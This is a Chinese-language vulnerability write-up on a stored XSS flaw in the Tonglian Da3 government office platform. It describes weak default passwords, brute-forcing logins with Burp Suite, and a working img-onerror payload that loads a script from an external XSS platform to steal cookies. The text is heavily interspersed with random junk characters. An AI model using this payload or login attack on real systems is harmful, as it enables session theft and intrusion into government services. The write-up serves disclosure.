同联Da3协同办公平台后台通用储存型xss漏洞

admin

% F$ ^6 L7 \% [3 v/ n6 N/ A # j& g; o( t5 C" `0 O3 ? 8 z a; }' D4 X. r 7 t3 v; Y7 K- X W" E' U" r , p. ~4 k7 W6 P" {. [# H $ k$ ~4 F* [. C 3 Q) ? w7 N: Y) t$ F0 \4 K3 Y. _0 H

同联Da3协同办公平台后台通用储存型xss漏洞

平台简介：

2 R/ e3 [8 X, f: c

 

1 I( t, P h5 s0 L8 W, l6 `# a: }

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
1 r( V7 w2 n& a9 G9 Q5 c同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

* [1 V' j! N' @- {4 G

 

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： - c. e- C1 }: z# F

I$ J3 @4 H0 o: \

  3 n, k* U) t8 H2 ^

3 p7 q" _: Q* ^6 x' A

4 R% ?1 g" s+ v' B8 n$ G4 H http://1.1.1.1:7197/cap-aco/#（案例2-）

http://www.XXOO.com （案例1-官网网站） / [6 H- Z$ s i h* Z7 D5 Y5 Q

% g7 M7 r( t# q7 c1 c( q

漏洞详情:

 案例一、 , P a n8 P8 a! C' b

初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试 - _4 w; n# V8 w, x9 W. i+ b

( h0 ]; R. U P% O; p0 Z9 K0 b      首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图： 4 i6 p0 `# t, y5 A

. c4 f0 o! a/ f7 G2 O3 J+ T" R2 V) z! }! M  

5 y/ k% }. L8 \6 S& s$ Y

status为302即表示破解成功，然后找个破解成功的账号登录系统。然后在通知公告---通知公告发布-拟稿处存在储存型xss漏洞，我在编机器里填写好标题、选择人员，点html如图： 2 D& H; I- j; T, H

- k7 E- x9 J4 \7 x; H

- {1 {" ?1 i) e& u( J& U: Q  

8 @, J6 p2 O& V' ` 4 b% y7 y2 t r/ @) X3 F2 {! e

9 ^" X3 d5 ?* Q% ^' M" s

然后插我们的xss跨站代码（经过测试发现过滤了好多标签，比如script，没过滤img、iframe标签），这里我们用img标签来测试，payload如下

 

: o0 }! K( x: C* R. l% s1 U

<img src=x onerror=s=createElement('\x73cript');body.appendChild(s);s.src='http://xss.6kb.org/7OO7GQ?1510065652';>，如图： ( l1 v5 U9 P. _& t

9 \& T2 l+ @/ j5 ?1 ~* t

然后发送，接收cookie如图：

# t- [( d! ^/ Q' b: _ h0 P' h4 M0 J

 

- P. e" |* B' N T5 q: s

 

  $ l0 I/ i/ F6 I0 o9 u) ^/ A6 X; U t8 p

! S, g9 s# C: ^2 |

% v: [; S, }9 u* A9 m, _- s  

! Q. F- J/ T0 c6 S2 A

6 g$ Y0 I+ E8 M( v( F) |8 ^9 K3 s; H

7 X( F+ [( e Y   ! ?! y! T5 d/ a

案例2、 ( v( R' T& T2 @. I+ `! B- N [2 h

前面步骤都一样，下面看效果图：

. A+ |) G# i! v( w4 j. d

& y* E4 h/ h. j& m$ ?; H

6 W- k9 R. f8 r8 f( s

) [) R) r0 d. `8 i- ^   5 W% u }% I$ u

9 Z7 M, @0 H5 Z8 A; e

  8 H- [% {$ [' e; \* }; H

3 m* \# }% r4 a$ Y: r, v

$ s1 Y/ ]2 |7 P8 t5 s

3 r( H+ l1 b ^: B8 _0 `  

  3 s0 t, L4 R" r8 \) D

/ B, s. j0 H( I4 {; `6 b& X6 ~5 z

  8 N/ u3 P+ _1 c$ c% Z

& _4 x3 ]2 I+ a  

" M9 s; b# L) ^# b